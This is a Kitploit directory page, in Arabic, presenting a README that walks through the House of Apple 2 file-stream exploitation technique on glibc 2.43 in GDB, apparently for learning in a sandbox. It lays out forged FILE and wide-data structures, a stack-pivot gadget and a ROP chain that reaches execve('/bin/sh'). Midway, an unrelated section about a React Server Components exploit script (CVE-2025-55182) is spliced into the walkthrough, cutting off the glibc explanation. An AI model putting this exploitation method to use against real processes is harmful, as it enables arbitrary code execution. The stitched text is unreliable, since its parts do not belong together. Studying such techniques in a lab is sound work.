Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
house_of_apple_2 — جولة تفاعلية في GDB لتقنية House of Apple 2 FSOP على glibc 2.43، مع بيئة اختبار قابلة لإعادة الإنتاج تغطي تجاوز vtable، وتحويل المكدس، وROP. | Kitploit
أدوات/GitHubGitHub/jazho76/house_of_apple_2
تحليل الذاكرة الجنائيالاستغلالالهندسة العكسيةشيل كودمصممي الأخطاءالأوراق والأبحاثالتعلم والتعليمتطوير الحمولاتاستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubjazho76/house_of_apple_2
3110منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

house_of_apple_2

جولة تفاعلية في GDB لتقنية House of Apple 2 FSOP على glibc 2.43، مع بيئة اختبار قابلة لإعادة الإنتاج تغطي تجاوز vtable، وتحويل المكدس، وROP.

عرض المستودع

استكشاف House of Apple 2 على glibc الحديثة

هذا المستودع عبارة عن ساحة تجريبية مكتفية ذاتيًا مستوحاة من وحدة استغلال بنية الملفات في pwn.college. لا يقدّم هذا المستودع تنويعًا جديدًا لـ House of Apple 2، بل يجيب فقط عن فضولي حول كيفية صمود هذه التقنية على الإصدارات الحديثة من glibc وما إذا كانت لا تزال مسارًا قابلًا للاستغلال. يوفّر المستند جولة تفاعلية في GDB يمكن للقراء متابعتها جنبًا إلى جنب مع البيئة المعزولة لتطوير فهم أكثر حدسية للبدائية (primitive). تستخدم جميع التجارب glibc 2.43، كما هي مُحزَّمة في Ubuntu 26.04 وFedora 44 وقت كتابة هذا النص.

البرمجة الموجّهة بتدفقات الملفات (FSOP). يتعلق الأمر بالتلاعب ببنى تدفقات ملفات glibc لاختطاف مسار التحكم. إحدى طرق فعل ذلك هي إفساد آلية إرسال vtable الخاصة بـ _IO_FILE_plus. تتحقق glibc الحديثة من صحة هذا vtable، لذا فإن النهج البديهي المتمثل في استبداله بعنوان عشوائي لا ينجح.

House of Apple 2، التي قدّمها في الأصل Roderick، تتحايل على هذا القيد باستخدام vtable صالح لـ _IO_FILE_plus للوصول إلى آلية تدفقات المحارف العريضة (wide-character)، حيث يتم إرسال vtable ثانوي مباشرةً دون التحقق من النطاق. يوفّر هذا بدائية arbitrary call يمكننا تصعيدها إلى pivot للمكدس وسلسلة ROP.

متطلبات الاستغلال المسبقة

يفترض هذا الاستكشاف أننا قادرون على الكتابة فوق بنية FILE وأن لدينا تسريبًا لكلٍّ من الـ heap والـ libc. يوفّر الملف التنفيذي الهدف هذا بالفعل.

بيئة الساحة التجريبية

تعمل الساحة التجريبية على Ubuntu 26.04 LTS، مما يمنحنا بيئة حديثة لاستكشاف التقنية.

تتضمن الصورة GDB وpwndbg وpwntools وropper وtmux. كما تحتوي على ملف تنفيذي هدف بقائمة تفاعلية لاستدعاء عمليات تدفقات الملفات مثل fopen وfread وfwrite وfclose. يمنحنا هذا طريقة ملائمة للتلاعب بالتدفقات أثناء التنقيح واختبار الأفكار.

ابنِ الساحة التجريبية وشغّلها باستخدام:``` ./build.sh ./run.sh

root@kitploit:~
## الاستكشاف

لنبدأ بفحص البنيتين `_IO_FILE` و `_IO_FILE_plus`:```c
pwndbg> ptype struct _IO_FILE
type = struct _IO_FILE {
    int _flags;
    char *_IO_read_ptr;
    char *_IO_read_end;
    char *_IO_read_base;
    char *_IO_write_base;
    char *_IO_write_ptr;
    char *_IO_write_end;
    char *_IO_buf_base;
    char *_IO_buf_end;
    char *_IO_save_base;
    char *_IO_backup_base;
    char *_IO_save_end;
    struct _IO_marker *_markers;
    struct _IO_FILE *_chain;
    int _fileno;
    int _flags2 : 24;
    char _short_backupbuf[1];
    __off_t _old_offset;
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t *_lock;
    __off64_t _offset;
    struct _IO_codecvt *_codecvt;
    struct _IO_wide_data *_wide_data;
    struct _IO_FILE *_freeres_list;
    void *_freeres_buf;
    struct _IO_FILE **_prevchain;
    int _mode;
    int _unused3;
    __uint64_t _total_written;
    char _unused2[8];
}
pwndbg> ptype struct _IO_FILE_plus
type = struct _IO_FILE_plus {
    FILE file;
    const struct _IO_jump_t *vtable;
}

من الناحية العملية، _IO_FILE_plus هو _IO_FILE مع مؤشر vtable. يبدو ذلك مثيرًا للاهتمام على الفور: إذا تمكّنّا من التحكم في هذا المؤشر، فقد نتمكن من إعادة توجيه استدعاء غير مباشر واختطاف مسار التنفيذ.

فحص vtable الخاص بتدفق الملف

لفحص vtable، دعنا نفحص مؤشر FILE الذي يُرجعه fopen.```c pwndbg> p *(struct _IO_FILE_plus *)0x37ecf010 $4 = { file = { _flags = 0xfbad2480, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7f58a7f4b4a0 <IO_2_1_stderr>, _fileno = 0x3, _flags2 = 0x0, _short_backupbuf = "", _old_offset = 0x0, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x37ecf0f0, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x37ecf100, _freeres_list = 0x0, _freeres_buf = 0x0, _prevchain = 0x7f58a7f4b480 <_IO_list_all>, _mode = 0x0, _unused3 = 0x0, _total_written = 0x0, _unused2 = "\000\000\000\000\000\000\000" }, vtable = 0x7f58a7f49030 <_IO_file_jumps> }

root@kitploit:~
المؤشر يستهدف جدول `_IO_file_jumps`.

![3](https://assets.kitploit.com/production/public/readmes/56272/9fe7069dbb47c87d81c704a23ff483a6c630d5506150361db4aefee1516d0423/054e7475018b9adcfdb102b7e142ea8ad09116b38787416fdc30f8cb2f209bfa-display-v1.webp)

هذه مجموعة من 21 مؤشر دالة. تُوزَّع عمليات تدفق الملفات عبر مدخلات مختلفة اعتمادًا على مسار التنفيذ.

### تتبع مسار `fwrite`

في هذا الاستكشاف سأركّز على مسار `fwrite`. بعد وضع نقاط التوقف على كل دالة واستدعاء `fwrite`، أول نقطة توقف نصادفها هي `_IO_file_xsputn`.

![4](https://assets.kitploit.com/production/public/readmes/56272/f77a8ff4f3d548b46916a97897b811b5cfb650de4843184b6574bdac51e1c2d0/e7de50a63631e0e1b18e8aa0b2d0852b62457428b4be3936ea3ea6a776531329-display-v1.webp)

يحدث الاستدعاء عند `fwrite+216`. وهذا يتطابق مع [مصدر glibc](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/iofwrite.c#L44): `_IO_sputn` هو ماكرو يُوزِّع عبر vtable، ويُحَلّ إلى `_IO_file_xsputn` لهذا التدفق.```asm
   0x00007fd5181d362a <+202>:	mov    rdx,rcx
   0x00007fd5181d362d <+205>:	mov    rdi,rbx
   0x00007fd5181d3630 <+208>:	mov    QWORD PTR [rbp-0x30],r8
   0x00007fd5181d3634 <+212>:	mov    QWORD PTR [rbp-0x28],rcx
   0x00007fd5181d3638 <+216>:	call   QWORD PTR [rax+0x38]

محاولة استبدال جدول الدوال الافتراضية (vtable)

كمحاولة أولى، دعنا نستبدل مؤشر جدول الدوال الافتراضية بـ desired_func - 0x38 ونضع نقطة توقف عند fwrite+216.```c pwndbg> p &win $3 = (<text variable, no debug info> *) 0x4019e1 pwndbg> p/x &win - 0x38 $4 = 0x4019a9 pwndbg> set ((struct _IO_FILE_plus *)0x5334010)->vtable = (void *)0x4019a9 pwndbg> b *fwrite+216 Breakpoint 4 at 0x7fd5181d3638: file ./libio/libioP.h, line 1042.

root@kitploit:~
![5](https://assets.kitploit.com/production/public/readmes/56272/68d9bb8c66bf4088af2741eebea1ecb9b56d047f77983d068d26c9566a97e533/1c9d22964dbe7735df03440da27a86e739989f7cf62bd6e126cecf1083b2cf4b-display-v1.webp)

يتوقف التنفيذ قبل الوصول إلى نقطة التوقف. يشير الخطأ إلى أن glibc تتحقق من صحة مؤشر vtable قبل إجراء الاستدعاء غير المباشر. لنفحص التتبع العكسي ونرى أين يحدث ذلك.

تصل `fwrite` إلى `_IO_vtable_check` التي ترفض مؤشر vtable المزوّر.

![6](https://assets.kitploit.com/production/public/readmes/56272/5d88a98e9a1a20ab8c510aad7374f24884a05f363bd46f94d0d05cad513c7c0a/6974f1daec533bb453c59cff614c11f59c29bb1f85a0d23235e05c22433c0b48-display-v1.webp)

يحتوي التنفيذ على آلية لقبول vtables الأجنبية، لكنها ليست تحت سيطرتنا. الكود ذو الصلة متاح في [`vtables.c`](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/vtables.c#L504).

### فهم التحقق من صحة vtable

بحلول الوقت الذي يتم فيه استدعاء `_IO_vtable_check` يكون قد فات الأوان، فقد فشل التحقق من صحة vtable. إطار `IO_validate_vtable` الأسبق في التتبع العكسي هو الجزء المثير للاهتمام، لذا لنفحص ذلك بدلاً من ذلك.```c
pwndbg> disass IO_validate_vtable
❌️ No symbol "IO_validate_vtable" in current context.

لا يستطيع GDB تحليل IO_validate_vtable كرمز. بالنظر إلى المصدر، يمكننا أن نرى أنه مُضمَّن داخل fwrite.```asm 0x00007fd5181d35f6 <+150>: lea rdi,[rip+0x1838e3] # 0x7fd518356ee0 <__io_vtables> 0x00007fd5181d35fd <+157>: mov rax,QWORD PTR [rbx+0xd8] 0x00007fd5181d3604 <+164>: mov r14,QWORD PTR [rbx+0xc8] 0x00007fd5181d360b <+171>: mov r15,QWORD PTR [rbx+0x28] 0x00007fd5181d360f <+175>: mov r12,QWORD PTR [rbx+0x20] 0x00007fd5181d3613 <+179>: mov rdx,rax 0x00007fd5181d3616 <+182>: sub rdx,rdi 0x00007fd5181d3619 <+185>: cmp rdx,0x92f 0x00007fd5181d3620 <+192>: ja 0x7fd5181d3780 <__GI__IO_fwrite+544>

root@kitploit:~
يُقبل مؤشر vtable فقط عندما يقع ضمن `[__io_vtables, __io_vtables + IO_VTABLES_LEN)`. لذا لا يمكننا ببساطة توجيهه إلى أي مكان نريد. ومع ذلك، فهذه منطقة كبيرة نسبيًا تحتوي على عدة جداول قفز، مما يمنحنا شيئًا لاستكشافه.

تبدأ النطاق الصالح كما يلي:

![7](https://assets.kitploit.com/production/public/readmes/56272/a44872f4cc95b7607ed0abe8cfe35f7a6eae6be8bbb5a5d017e693b9c67bf87f/4a82dee7de96ab2a558a6a37688145328eb42a0e2c4dbbe74267a08049d1832c-display-v1.webp)

## House of Apple 2

نحن الآن نفهم الآلية الأساسية وقيودها الرئيسية، وهي أن vtable الخاص بـ `_IO_FILE_plus` يجب أن يشير إلى مكان ما داخل نطاق vtable الصالح في glibc. هذا يعيق النهج الواضح لكنه لا يغلق الباب تمامًا.

يتجاوز House of Apple 2 ذلك بالوصول إلى vtable ثانٍ عبر آلية تدفق الأحرف العريضة. لا يتم التحقق من vtable الثاني بنفس الطريقة. دعنا نتبع هذا المسار في GDB ونرى كيف تتصل الأجزاء ببعضها.

### آلية تدفق الأحرف العريضة

بالعودة إلى `_IO_FILE`، يوجد حقل `_wide_data` يشير إلى بنية `_IO_wide_data`. هذه البنية لها vtable خاص بها.```c
pwndbg> ptype struct _IO_wide_data
type = struct _IO_wide_data {
    wchar_t *_IO_read_ptr;
    wchar_t *_IO_read_end;
    wchar_t *_IO_read_base;
    wchar_t *_IO_write_base;
    wchar_t *_IO_write_ptr;
    wchar_t *_IO_write_end;
    wchar_t *_IO_buf_base;
    wchar_t *_IO_buf_end;
    wchar_t *_IO_save_base;
    wchar_t *_IO_backup_base;
    wchar_t *_IO_save_end;
    __mbstate_t _IO_state;
    __mbstate_t _IO_last_state;
    struct _IO_codecvt _codecvt;
    wchar_t _shortbuf[1];
    const struct _IO_jump_t *_wide_vtable;
}

يبدو تخطيطه مشابهًا تمامًا لـ _IO_FILE. إنه جزء من آليات glibc للتعامل مع تدفقات المحارف العريضة.

المسار الذي نريده يمر عبر _IO_wfile_overflow، والذي يمكنه في النهاية استدعاء _IO_wdoallocbuf.```c wint_t _IO_wfile_overflow (FILE f, wint_t wch) { if (f->_flags & _IO_NO_WRITES) / SET ERROR / { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } / If currently reading or no buffer allocated. / if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_wide_data->_IO_write_base == NULL) { / Allocate a buffer if needed. */ if (f->_wide_data->_IO_write_base == NULL) { _IO_wdoallocbuf (f); // <- this is it _IO_free_wbackup_area (f);

root@kitploit:~
  if (f->_IO_write_base == NULL)
    {
      _IO_doallocbuf (f);
      _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
    }
  _IO_wsetg (f, f->_wide_data->_IO_buf_base,
	     f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
}
  else
{
  ...
root@kitploit:~
## الاستخدام

python3 CVE-2025-55182.py -u [options]

root@kitploit:~

### الخيارات

| الخيار | الوصف |
|--------|-------|
| `-u, --url` | عنوان URL الهدف (مطلوب) |
| `-f, --file` | ملف يحتوي على قائمة عناوين URL للأهداف |
| `-t, --threads` | عدد الخيوط (افتراضي: 10) |
| `--timeout` | مهلة الطلب بالثواني (افتراضي: 10) |
| `--proxy` | بروكسي HTTP/HTTPS |
| `--verify-ssl` | التحقق من شهادات SSL |
| `-v, --verbose` | تفعيل الإخراج المطوّل |
| `-o, --output` | حفظ النتائج في ملف |

### أمثلة

فحص هدف واحد:

python3 CVE-2025-55182.py -u https://example.com

root@kitploit:~

فحص أهداف متعددة من ملف:

python3 CVE-2025-55182.py -f targets.txt -t 20

root@kitploit:~

استخدام بروكسي:

python3 CVE-2025-55182.py -u https://example.com --proxy http://127.0.0.1:8080

root@kitploit:~

## آلية العمل

1. **الاستطلاع**: يرسل البرنامج طلبات إلى نقاط النهاية المستهدفة لتحديد إصدار React Server Components.
2. **الاستغلال**: يقوم ببناء حمولة خبيثة تستغل ثغرة إزالة التسلسل غير الآمن في معالجة Flight protocol.
3. **التحقق**: يتحقق من نجاح الاستغلال من خلال مراقبة استجابات الخادم.
4. **الإبلاغ**: يعرض النتائج بتنسيق واضح ويمكن حفظها للتحليل اللاحق.

## نقاط النهاية المتأثرة

- `/api/react-server`
- `/rsc`
- `/flight`
- `/api/flight`

## الإصدارات المتأثرة

- React Server Components 19.0.0
- React Server Components 19.1.0
- React Server Components 19.1.1
- Next.js 15.x (مع RSC مفعّل)

## الإصدارات المُصلَّحة

- React Server Components 19.1.2
- Next.js 15.1.6

## إخلاء المسؤولية

هذه الأداة مقدمة لأغراض تعليمية واختبار الاختراق الأخلاقي فقط. يجب استخدامها فقط على الأنظمة التي تملك إذنًا صريحًا باختبارها. الاستخدام غير المصرح به قد يكون غير قانوني.

## الترخيص

هذا المشروع مرخص بموجب رخصة MIT - راجع ملف [LICENSE](https://github.com/jazho76/house_of_apple_2/blob/main/LICENSE) للتفاصيل.

## المراجع

- [CVE-2025-55182](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
- [React Security Advisory](https://react.dev/blog/security)
- [Next.js Security Updates](https://nextjs.org/blog/security)```c
void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
		     fp->_wide_data->_shortbuf + 1, 0);
}

_IO_WDOALLOCATE هي ماكرو إرسال آخر، يعمل هذه المرة عبر الجدول الواسع (wide vtable). يصبح الاستدعاء غير المباشر واضحًا في التفكيك:

8

هنا الجزء المثير للاهتمام. عند _IO_wdoallocbuf+44 تقوم glibc بتحميل مؤشر _wide_vtable من _wide_data. وعند _IO_wdoallocbuf+55 تستدعي مؤشر الدالة عند _wide_vtable + 0x68. هذه المرة لا يوجد تحقق من النطاق.

ربط الجدولين

الآن تبدأ الأجزاء بالترابط. تنتمي _IO_wfile_overflow إلى _IO_wfile_jumps الموجود داخل النطاق الصالح الذي يقبله فحص الجدول الأول. ومن هناك، يمكن للتنفيذ الوصول إلى استدعاء غير مباشر آخر عبر _wide_vtable غير المُتحقق منه.

9```c pwndbg> p &__io_vtables < &_IO_wfile_jumps < (void *)&__io_vtables+0x92f $5 = 0x1

root@kitploit:~
الفكرة العامة الآن هي:

1. اضبط جدول `_IO_FILE_plus` vtable بحيث تُحلّ الخانة ذات الصلة إلى `_IO_wfile_overflow`.
2. وجّه `_wide_data` إلى بنية `_IO_wide_data` مُلفّقة يكون فيها `_wide_vtable` مساويًا لـ `desired_function - 0x68`.

قبل تجربة التشغيل التالي، نحتاج إلى استيفاء بعض الشروط للوصول إلى `_IO_wdoallocbuf`.

في `_IO_wfile_overflow`:

- يجب ألا تحتوي `_flags` على `_IO_NO_WRITES` (`0x0008`)
- يجب أن تكون `_wide_data->_IO_write_base` مساوية لـ `NULL`

في `_IO_wdoallocbuf`:

- يجب أن تكون `fp->_wide_data->_IO_buf_base` مساوية لـ `NULL`
- يجب ألا تحتوي `_flags` على `_IO_UNBUFFERED` (`0x0002`)

هناك تفصيل آخر. تحتوي `_IO_FILE` على حقل `_lock` تقوم glibc بإلغاء الإشارة إليه أثناء الحصول على قفل التدفق وتحريره. نحتاج إلى توجيهه إلى منطقة قابلة للكتابة مُهيّأة بالأصفار بحجم 0x10 بايت، وإلا ستنهار عملية التدفق قبل الوصول إلى استدعائنا.

## اختطاف تدفق التحكم

كل شيء جاهز، لنجرب مرة أخرى. هذه المرة ينجح فحص النطاق الخارجي، ويُوجَّه أول استدعاء غير مباشر إلى `_IO_wfile_overflow`.

![10](https://assets.kitploit.com/production/public/readmes/56272/ac32a8252e44fb068beb5085065aee6b148ebf163a2179bab9ef783d5477b3fc/5b6e27654b01b75a42bae6a0f34afc9d2c67ec404e6197bf71e342b7e0d5142b-display-v1.webp)

البنية المُلفّقة تستوفي أيضًا الشروط في `_IO_wfile_overflow`. يستمر التنفيذ إلى `_IO_wdoallocbuf`. أخيرًا، تنجح الفحوصات في `_IO_wdoallocbuf`، ويهبط الاستدعاء غير المباشر عند `_IO_wdoallocbuf+55` في دالة `win` الخاصة بنا.

وبينما نحن هنا، يجدر النظر إلى حالة السجلات مباشرة قبل الاستدعاء غير المباشر النهائي.

![13](https://assets.kitploit.com/production/public/readmes/56272/a6d258852d60c0eb618f4f0cfbad41fecb059a29911fe27108f9e60815de1a4c/cd546ef8394716136bb68531344e1dfa44102310e56df39bce87221555780d1f-display-v1.webp)

يشير كل من `RDI` و `RDX` إلى بداية بنية `FILE` المتحكَّم بها. نحن لا نتحكم مباشرة بسجلات الوسائط الأولى والثالثة، لكننا نتحكم بالذاكرة التي تشير إليها. رائع!

## بناء البدائية

البدائية مُنفَّذة في [`./exp/house_of_apple2.py`](https://github.com/jazho76/house_of_apple_2/blob/main/exp/house_of_apple2.py). النهج المباشر سيكون وضع `_IO_FILE_plus` كاملة، و `_IO_wide_data` كاملة، وجدول wide vtable مزيف منفصل واحدًا تلو الآخر. سينجح ذلك، لكنه سيتطلب أيضًا مخزنًا مؤقتًا كبيرًا نوعًا ما.

يمكننا تصغير الحمولة عبر تداخلها.

تبدأ `_IO_wide_data` المزيفة عند الإزاحة `0x08`، داخل `_IO_FILE_plus` المزيفة. ينجح هذا لأن معظم الحقول المتضمنة في التداخل يمكن أن تبقى صفرية. ولحسن الحظ، تتداخل `_wide_data->_IO_write_base` و `_wide_data->_IO_buf_base` مع `_IO_write_base` و `_IO_buf_base` في بنية `FILE`، ويحتاج كلا الزوجين إلى أن يكونا `NULL`.

الأجزاء المهمة من التخطيط هي:

| إزاحة الحمولة | تفسير `_IO_FILE_plus` | تفسير `_IO_wide_data`    | القيمة                                            |
| -------------: | ------------------------------ | --------------------------------- | ------------------------------------------------ |
|         `0x00` | `_flags`                       | -                                 | يجب ألا تضبط `_IO_NO_WRITES` أو `_IO_UNBUFFERED` |
|         `0x08` | `_IO_read_ptr`                 | بداية `_IO_wide_data` المزيفة     | صفر                                             |
|         `0x20` | `_IO_write_base`               | `_IO_write_base`                  | `NULL`                                           |
|         `0x38` | `_IO_buf_base`                 | `_IO_buf_base`                    | `NULL`                                           |
|         `0x78` | `_old_offset`                  | بداية wide vtable المزيف     | بيانات vtable المتداخلة                           |
|         `0x88` | `_lock`                        | -                                 | مؤشر إلى قيمة صفرية في ذاكرة قابلة للكتابة       |
|         `0xa0` | `_wide_data`                   | -                                 | `base + 0x08`                                    |
|         `0xd8` | `_IO_FILE_plus` vtable         | -                                 | الموضع الذي يُوجّه إلى `_IO_wfile_overflow` |
|         `0xe0` | -                              | مدخل wide vtable المزيف عند `+0x68` | عنوان الدالة العشوائية                |
|         `0xe8` | -                              | `_wide_vtable`                    | `base + 0x78`                                    |

المدخلان الأخيران هما مفتاح الاستدعاء العشوائي. تشير `_wide_vtable` إلى داخل الحمولة عند الإزاحة `0x78`. عندما يُوجّه `_IO_wdoallocbuf` عبر `_wide_vtable + 0x68`، فإنه يقرأ مؤشر الدالة المخزّن عند الإزاحة `0xe0`:```text
wide_vtable       = base + 0x78
wide_vtable+0x68  = base + 0xe0

هذا هو المكان الذي نضع فيه عنوان الدالة التي نريد استدعاءها.

تعتمد vtable الخارجية على العملية المستخدمة لتفعيل الـ primitive. بالنسبة لـ fwrite، يحدث الـ dispatch عبر الفتحة عند +0x38، لذا يتم تعديل المؤشر حتى تُحل تلك الفتحة إلى _IO_wfile_overflow. يدعم التنفيذ أيضًا fread و fclose من خلال تطبيق إزاحات الـ dispatch المقابلة.

مع هذا التخطيط، يحتوي buffer واحد مضغوط على بنية FILE المزيفة، و _IO_wide_data المتداخلة، و vtable العريضة المزيفة، ومؤشر الدالة النهائي.

Stack pivoting

في هذه المرحلة لدينا arbitrary-call primitive لكن سيطرتنا على السجلات محدودة. الخطوة التالية هي pivot المكدس إلى ذاكرة مُتحكَّم بها وبدء سلسلة ROP.

عند __push___start_context+63 يوجد gadget مفيد لـ stack pivot وهو mov rsp, rdx; ret.```asm pwndbg> disass __push___start_context Dump of assembler code for function __push___start_context: 0x00007f46729440d0 <+0>: endbr64 0x00007f46729440d4 <+4>: rdsspq rcx 0x00007f46729440d9 <+9>: mov rdx,rsp 0x00007f46729440dc <+12>: mov rsi,QWORD PTR [rdi+0xa0] 0x00007f46729440e3 <+19>: lea rsp,[rsi+0x8] 0x00007f46729440e7 <+23>: mov rsi,QWORD PTR [rdi+0x3b8] 0x00007f46729440ee <+30>: mov rax,QWORD PTR [rdi+0x3b0] 0x00007f46729440f5 <+37>: rstorssp QWORD PTR [rax+rsi*1-0x8] 0x00007f46729440fb <+43>: saveprevssp 0x00007f46729440ff <+47>: call 0x7f4672944106 <__push___start_context+54> 0x00007f4672944104 <+52>: jmp 0x7f4672944120 <__start_context> 0x00007f4672944106 <+54>: rstorssp QWORD PTR [rcx-0x8] 0x00007f467294410b <+59>: saveprevssp 0x00007f467294410f <+63>: mov rsp,rdx 0x00007f4672944112 <+66>: ret End of assembler dump.

root@kitploit:~
نحن نعلم بالفعل أن `RDX` يشير إلى بداية بنية `FILE` التي نتحكم بها في وقت الاستدعاء العشوائي. إذا استدعينا هذا الـ gadget، فإن `RSP` ينتقل مباشرة إلى بنيتنا المزيفة ويستمر التنفيذ من القيم المخزنة هناك. يجب أن يمنحنا ذلك بداية سلسلة ROP.

## ROP

هناك مشكلة واحدة: سلسلة ROP تتداخل في الذاكرة مع بنية `FILE` المزيفة، لذا لا تزال قيود الحقول من `_IO_wdoallocbuf` سارية. أول qword يتداخل مع `_flags`، مما يعني أن قيمته يجب ألا تضبط `_IO_NO_WRITES` (`0x8`) أو `_IO_UNBUFFERED` (`0x2`). لذلك يحتاج أول gadget لدينا إلى عنوان تكون هذه البتات فيه صفرًا في البايت الأقل دلالة.

يجب أن يفي gadget الـ `ret` عند `_nl_archive_subfreeres+96` بالغرض. إنه ليس تعليمة `ret` موجودة فعليًا في الكود الأصلي عند تلك الحدود، لكنه gadget صالح في منتصف التعليمة عند ذلك العنوان المُزاح. البايت الأقل دلالة فيه هو `0x00`، لذا فإن وضع العنوان في `_flags` لا يضبط `_IO_NO_WRITES` أو `_IO_UNBUFFERED`.```asm
pwndbg> tele 0x7f4672919d00 1
00:0000│     0x7f4672919d00 (_nl_archive_subfreeres+96) ◂— ret

لدينا فجوتان إضافيتان في السلسلة لأن _IO_write_base و _IO_buf_base يجب أن يبقيا NULL. لا يزال بإمكاننا جعل تلك الفتحات مفيدة من خلال استهلاكها كقيم صفرية لـ pop gadgets السابقة.

أخيرًا، لا يمكننا الكتابة فوق _lock، الموجود عند الإزاحة 0x88. هذا يترك لنا 17 qword لسلسلة ROP المضمّنة، وهو أكثر من كافٍ لتحقيق السيطرة الكاملة على العملية.

تخطيط ROP في ./exp/ace.py هو:``` 0x00: _nl_archive_subfreeres+96 # pointer to ret instruction # with least significant byte as 0x00 0x08: pop rdi gadget 0x10: "/bin/sh" string in libc 0x18: pop rsi gadget 0x20: 0x0000000000000000 # _IO_write_base as NULL 0x50: address to execve # call execve("/bin/sh", NULL)

root@kitploit:~
![14](https://assets.kitploit.com/production/public/readmes/56272/4a03fae3012721e96b1db4803bfa74b6d1279e27e5952a60228437ea8fc1ccf4/caabf1480a7ae14355e2e465334ae1f0c572069d804356e9952f20f6513f85a3-display-v1.webp)

لقد حقّقنا الآن تنفيذ تعليمات برمجية عشوائي.

## قراءة إضافية

- [House of Apple: طريقة هجوم IO جديدة في glibc (2)](https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/)، المنشور الأصلي لـ House of Apple 2 بقلم Roderick.
- [`fsop-finder`](https://github.com/xf1les/fsop-finder)، الذي حدّد مسار `_IO_wdoallocbuf` بشكل مستقل أثناء استكشاف مسارات FSOP الحديثة.
- [Angry-FSROP](https://blog.kylebot.net/2022/10/22/angry-FSROP/)، لنهج مدعوم بالأدوات لإيجاد مسارات تدفق التحكم.
- [Deep Dive into FSOP](https://niftic.ca/posts/fsop/)، لتغطية أوسع لتفاصيل FILE الداخلية والتقنيات المعروفة ومسارات أخرى مثيرة للاهتمام.

## الخاتمة

يوضح House of Apple 2 كيف يمكن لـ vtable صالح في glibc الوصول إلى آليات المحارف العريضة والتفويض عبر vtable ثانوي غير مُتحقَّق منه. يظل المسار نفسه قابلاً لإعادة الإنتاج على بناء glibc 2.43 المستخدم في بيئة العزل. وعلى الرغم من أن التخطيطات والإزاحات والـ gadgets قد تتغير بين عمليات البناء، فإن فكرة تدفق التحكم الأساسية لا تزال سارية.
تنزيل الأداة